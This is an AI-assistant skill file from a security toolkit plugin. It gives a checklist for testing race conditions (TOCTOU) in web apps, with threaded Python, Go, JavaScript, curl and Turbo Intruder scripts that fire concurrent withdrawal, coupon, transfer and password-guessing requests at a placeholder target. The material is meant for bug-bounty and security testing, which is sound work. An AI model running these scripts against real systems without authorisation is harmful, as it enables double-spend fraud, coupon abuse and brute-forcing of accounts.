From cybersec-toolkit
Race condition (TOCTOU) testing checklist covering timing windows, Burp Suite Turbo Intruder, Last-Byte sync, rate limit bypass, double-spend attacks, and concurrent request exploitation for web app security testing.
How this skill is triggered — by the user, by Claude, or both
Slash command
/cybersec-toolkit:offensive-race-conditionThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
- **Skill Name**: race-condition
Race condition (TOCTOU) testing checklist: identifying timing windows, Burp Suite Turbo Intruder, Last-Byte sync technique, rate limit bypass, double-spend attacks, and concurrent request exploitation. Use for web app race condition testing or bug bounty time-of-check-to-time-of-use bugs.
Use this skill when the conversation involves any of:
race condition, TOCTOU, timing attack, Turbo Intruder, last-byte sync, rate limit bypass, double spend, concurrent request, race window, time of check, time of use
When this skill is active:
Race conditions occur when the behavior of a system depends on the relative timing or sequence of events that can happen in different orders. In web application security, race conditions happen when multiple concurrent processes or threads access and manipulate the same resource simultaneously without proper synchronization.
sequenceDiagram
participant Thread1 as Thread 1
participant Resource
participant Thread2 as Thread 2
Thread1->>Resource: Read value (100)
Thread2->>Resource: Read value (100)
Thread1->>Thread1: Calculate new value (100-10=90)
Thread2->>Thread2: Calculate new value (100-10=90)
Thread1->>Resource: Write new value (90)
Thread2->>Resource: Write new value (90)
Note over Resource: Expected final value: 80<br/>Actual final value: 90
A race condition becomes a security vulnerability when it affects security controls or business logic. The critical types include:
graph TD
subgraph "Common Race Condition Types"
A[Race Conditions] --> B[TOCTOU]
A --> C[Read-Modify-Write]
A --> D[Thread Safety Issues]
A --> E[Resource Allocation]
B --> B1["Check balance, then debit"]
C --> C1["Update counter or balance"]
D --> D1["Shared cache or session data"]
E --> E1["Limited coupon or inventory"]
end
Common vulnerable scenarios include:
Focus on features handling state changes, limited resources, or critical operations:
Tools for sending parallel requests:
Request capturing and analysis capabilities:
Network Proximity: Consider the physical or network location of your testing infrastructure relative to the target server. Minimizing latency (e.g., using a VPS in the same region/provider as the target) can significantly increase the chances of winning a race condition.
flowchart TD
A[Race Condition Testing] --> B[Baseline Analysis]
A --> C[Race Condition Detection]
A --> D[Timing Manipulation]
A --> E[Proof of Concept]
B --> B1[Identify state-changing operations]
B --> B2[Document normal transaction flow]
C --> C1[Send identical requests simultaneously]
C --> C2[Observe state changes]
D --> D1[Identify critical timing windows]
D --> D2[Vary delays between requests]
E --> E1[Create reproducible exploit]
E --> E2[Document impact scenarios]
Baseline Behavior Analysis:
Race Condition Detection:
Timing Manipulation:
import requests
import threading
def make_request():
requests.post('https://target.com/api/redeem',
json={'coupon_code': 'ONCE123'},
headers={'Authorization': 'Bearer token'})
threads = []
for _ in range(20):
t = threading.Thread(target=make_request)
threads.append(t)
t.start()
for t in threads:
t.join()
Step 1: Start purchase (single request)
Step 2: Apply coupon (single request)
Step 3: Send 20 simultaneous "confirm order" requests
Create coordinated attacks that target specific timing windows:
import requests
import threading
import time
start_gate = threading.Event()
def synchronized_request():
start_gate.wait() # All threads wait here until flag is set
requests.post('https://target.com/api/withdraw',
json={'amount': '100'},
headers={'Authorization': 'Bearer token'})
threads = []
for _ in range(50):
t = threading.Thread(target=synchronized_request)
t.daemon = True
threads.append(t)
t.start()
# Release all threads simultaneously
time.sleep(2) # Ensure all threads are waiting
start_gate.set()
Beyond application-level threading, manipulating network-level timing can be effective:
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
for _ in range(20):
engine.queue(target.req, gate='race')
engine.openGate('race')
graph LR
subgraph "Race Condition Vulnerability Impacts"
A[Race Conditions] --> B[Financial Systems]
A --> C[Account & Authentication]
A --> D[Resource Management]
A --> E[Application-Specific]
A --> F[Rate Limiting & Anti-Automation]
B --> B1[Double Withdrawal]
B --> B2[Transaction Rollback Abuse]
C --> C1[Multiple Account Creation]
C --> C2[Token Reuse]
C --> C3[MFA Bypass]
D --> D1[Upload-Download Race]
D --> D2[Resource Over-allocation]
E --> E1[Shopping Cart Race]
E --> E2[Auction Sniping]
F --> F1[OTP/Reset Code Reuse]
F --> F2[CAPTCHA Reuse]
end
Some application frameworks (like PHP with default session handling) lock session files when session_start() is called, preventing concurrent requests from the same session from executing simultaneously. If the application allows a user to have multiple active sessions, this can be bypassed:
PHPSESSID).Different database isolation levels handle concurrency differently. Test each level to identify race vulnerabilities:
PostgreSQL Isolation Levels:
-- READ UNCOMMITTED (treats as READ COMMITTED in PostgreSQL)
BEGIN TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
-- READ COMMITTED (default) - prone to races
BEGIN TRANSACTION ISOLATION LEVEL READ COMMITTED;
SELECT balance FROM accounts WHERE id = 123;
-- Race window here
UPDATE accounts SET balance = balance - 100 WHERE id = 123;
COMMIT;
-- REPEATABLE READ - prevents some races
BEGIN TRANSACTION ISOLATION LEVEL REPEATABLE READ;
-- SERIALIZABLE - strongest protection
BEGIN TRANSACTION ISOLATION LEVEL SERIALIZABLE;
Testing Strategy:
SELECT * FROM table FOR UPDATE; -- Row-level lock
LOCK TABLE table IN EXCLUSIVE MODE; -- Table-level lock
MySQL/MariaDB:
-- Test for missing row locks
START TRANSACTION;
SELECT balance FROM accounts WHERE id = 123;
-- Send parallel transactions here
UPDATE accounts SET balance = balance - 100 WHERE id = 123;
COMMIT;
-- Test with explicit locking
SELECT * FROM accounts WHERE id = 123 FOR UPDATE;
Testing for Advisory Locks:
-- PostgreSQL advisory locks
SELECT pg_try_advisory_lock(12345);
-- Test if application uses them
-- Send parallel requests and monitor pg_locks table
SELECT * FROM pg_locks WHERE locktype = 'advisory';
WebSocket connections maintain persistent state and can be vulnerable to race conditions:
Message Processing Races:
// Send concurrent WebSocket messages
const ws = new WebSocket("wss://target.com/socket");
ws.onopen = () => {
// Send multiple messages rapidly
for (let i = 0; i < 50; i++) {
ws.send(
JSON.stringify({
action: "transfer",
amount: 100,
to: "attacker",
}),
);
}
};
Connection Upgrade Races:
# Multiple simultaneous WebSocket handshakes
for i in {1..20}; do
curl -i -N \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
-H "Sec-WebSocket-Version: 13" \
https://target.com/socket &
done
wait
Testing Scenarios:
Concurrent Execution Testing:
import boto3
import concurrent.futures
lambda_client = boto3.client('lambda')
def invoke_lambda():
return lambda_client.invoke(
FunctionName='vulnerable-function',
InvocationType='RequestResponse',
Payload='{"action": "redeem_coupon", "code": "SAVE50"}'
)
# Test concurrent invocations
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
futures = [executor.submit(invoke_lambda) for _ in range(50)]
results = [f.result() for f in futures]
Reserved Concurrency Bypass:
DynamoDB Conditional Write Testing:
import boto3
from boto3.dynamodb.conditions import Attr
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('coupons')
# Test if conditional writes are used
def redeem_coupon():
table.update_item(
Key={'code': 'SAVE50'},
UpdateExpression='SET used = :val',
ConditionExpression=Attr('used').eq(False), # Should prevent races
ExpressionAttributeValues={':val': True}
)
Concurrent Trigger Testing:
# Test HTTP-triggered Cloud Functions
for i in {1..50}; do
curl -X POST https://region-project.cloudfunctions.net/function \
-H "Content-Type: application/json" \
-d '{"action": "claim_reward"}' &
done
wait
Singleton Testing:
// Check if Azure Functions use Singleton attribute
[Singleton] // Should prevent concurrent execution
public static void Run([QueueTrigger("queue")] string msg) { }
SendMsg frames before the backend commits state.Banking Application Double-Withdrawal:
E-commerce Coupon Reuse:
Account Registration Email Verification Bypass:
Burp Suite Extensions:
Specialized Tools:
import asyncio
import aiohttp
async def make_request(session):
async with session.post('https://target.com/api/action',
data={'param': 'value'}) as response:
return await response.text()
async def main():
async with aiohttp.ClientSession() as session:
tasks = [make_request(session) for _ in range(50)]
responses = await asyncio.gather(*tasks)
# Analyze responses
asyncio.run(main())
package main
import (
"net/http"
"sync"
)
func main() {
var wg sync.WaitGroup
for i := 0; i < 50; i++ {
wg.Add(1)
go func() {
http.Post("https://target.com/api/action",
"application/json",
strings.NewReader(`{"param":"value"}`))
wg.Done()
}()
}
wg.Wait()
}
sequenceDiagram
participant Tester
participant Application
participant Database
Note over Tester: Preparation Phase
Tester->>Application: Identify state-changing operations
Tester->>Application: Create test accounts
Tester->>Tester: Prepare concurrent request tools
Note over Tester: Discovery Phase
Tester->>Application: Send 50+ parallel requests
Application->>Database: Multiple concurrent operations
Note over Database: Race condition occurs
Database->>Application: Inconsistent state
Application->>Tester: Observe anomalous behavior
Note over Tester: Exploitation Phase
Tester->>Tester: Fine-tune timing parameters
Tester->>Application: Execute optimized attack
Tester->>Tester: Document impact
Preparation Phase:
Discovery Phase:
Exploitation Phase:
Verification Phase:
When functionality chains with multiple requests, for example in e-commerce:
- /product --> for the product
- /cart --> Add to cart that product
- /cart/checkout --> Buy that product
Common in email change functionality:
Account A: Attacker --> [email protected]
Account B: Victim --> [email protected]
Applications using connection pools (database, Redis, HTTP clients) can be vulnerable:
# Test connection pool exhaustion
import requests
import threading
def hold_connection():
# Keep connection open without releasing
r = requests.get('https://target.com/long-running-query', stream=True)
# Don't close, hold for 30 seconds
time.sleep(30)
# Exhaust pool
threads = []
for _ in range(100): # More than pool size
t = threading.Thread(target=hold_connection)
threads.append(t)
t.start()
# Now test if race conditions occur in queue processing
Testing Strategy:
Deployment processes can have race conditions affecting security:
Artifact Deployment Races:
latest tag pointing to old image)Database Migration Races:
# Two deployment instances running migrations simultaneously
# Test by triggering parallel deployments
# Check for migration locks
kubectl get pods -l job-name=db-migrate
# Test concurrent schema changes
Configuration Deployment:
Testing Approach:
CVE-2023-6690 - GitHub Enterprise Server:
CVE-2021-41091 - Docker (Moby):
CVE-2019-5736 - runc Container Escape:
CVE-2016-5195 - Dirty COW (Linux Kernel):
PayPal - Double Payment Race Condition:
Shopify - Gift Card Race Condition:
Uber - Promotional Code Race:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='1')
engine.openGate('1')
def handleResponse(req, interesting):
table.add(req)
npx claudepluginhub 26zl/cybersec-toolkit --plugin cybersec-toolkitHunts race condition vulnerabilities across financial, auth, and reputation systems using 12 public bug bounty reports and modern HTTP/2 single-packet attack techniques. Use for TOCTOU bugs, MFA bypass, and concurrent request rate-limit bypass.
Tests web apps for race conditions, single-packet attacks, TOCTOU vulnerabilities, double-spends, rate limit bypasses, and concurrency issues via endpoint analysis and HTTP/2 manifests.
Detects and exploits race condition vulnerabilities in web applications using Turbo Intruder's single-packet attack technique to bypass rate limits, duplicate transactions, and exploit TOCTOU flaws.